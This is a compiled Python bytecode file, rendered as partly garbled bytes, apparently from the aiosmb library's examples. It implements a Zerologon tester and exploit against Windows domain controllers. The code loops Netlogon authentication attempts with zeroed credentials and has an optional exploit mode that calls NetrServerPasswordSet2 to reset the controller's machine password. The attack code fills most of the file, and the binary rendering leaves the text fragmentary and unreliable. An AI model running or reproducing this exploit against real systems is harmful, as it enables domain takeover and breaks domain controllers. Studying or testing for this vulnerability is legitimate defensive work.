o
    j                     @   s   d dl Z d dlmZ d dlmZ d dlmZ d dlmZ d dl	m
Z
mZ d dlmZ dZdd
dZdddZdd ZedkrCe  dS dS )    N)SMBConnectionFactory)
SMBMachine)EPM)nrpc)packunpacklogger   
   c                 C   s$   t  }t | ||d< ||d< |S )N
Credential	Timestamp)r   NETLOGON_AUTHENTICATORComputeNetlogonCredentialAES)clientStoredCredential
sessionKeyplusauthenticator r   /root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/aiosmb/examples/zl.pyupdate_authenticatorO   s   r   Fc                    s(  d|  }| }d}d}d}t d|  }| }	|	4 I d H  t|	dd}
|
 I d H \}}|d ur4||
tjI d H \}}|
 I d H \}}|d urN||
|}| I d H \}}|d urb||	tjI d H \}}|d urs|t
dtD ]w}td t||d	 |d	 |I d H \}}|d ur||d
u rt||d	 |d tjj|d	 ||I d H \}}n$t }d|d< d|d< t||d	 |d tjj|d	 |dI d H \}}|d ur| dkrqx||d dkrtd  nqxtd | I d H  W d   I d H  d S 1 I d H sw   Y  d S )Nz\\s           i/!z#smb2+ntlm-password://XXX\aaa:aaa@%sncacn_ip_tcp)protocolr   z5===================================================== Fz$ r   r   s                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      l   "    	ErrorCodezServer is vulnerable!zFAILED!)r   from_urlget_connectionr   connectmapr   MSRPC_UUID_NRPC!get_connection_from_stringbindingbindrangeMAX_ATTEMPTSprinthNetrServerReqChallengehNetrServerAuthenticate3NETLOGON_SECURE_CHANNEL_TYPEServerSecureChannelr   hNetrServerPasswordSet2get_error_code
disconnect)dc_namedc_ipexploit	dc_handletarget_computer	plaintext
ciphertextflagsurl
connectionepm_errstringBindingdceserver_authr   r   r   r   runV   sh   
"

0r<   c                  C   s   dd l } dd l}dd l}ddlm} | jdd}|jddddd |jd	d
ddd |jddd |jddd | }|jdkrGt	|j
 |jdkrhtd t	d |	d t d |j|j
d tt|j|j|j d S )Nr   r   zZerologon tester)descriptionz-vz	--verbosecount)actiondefaultz-ez	--exploit
store_truezperform the expolit)r?   helpr-   z#IP address of the domain controller)rB   r,   z1NETBIOS NAME of the domain controller (without $)      zsetting deepdebugT)level)argparseplatformloggingasysocksr	   ArgumentParseradd_argument
parse_argsverbosesetLevelDEBUGr$   asyncioget_event_loop	set_debugbasicConfigr<   r,   r-   r.   )rF   rG   rH   socksloggerparserargsr   r   r   main   s&   



rW   __main__)r   )F)rP   !aiosmb.commons.connection.factoryr   !aiosmb.commons.interfaces.machiner   'aiosmb.dcerpc.v5.interfaces.endpointmgrr   aiosmb.dcerpc.v5r   structr   r   aiosmbr	   r#   r   r<   rW   __name__r   r   r   r   <module>   s   
E
H
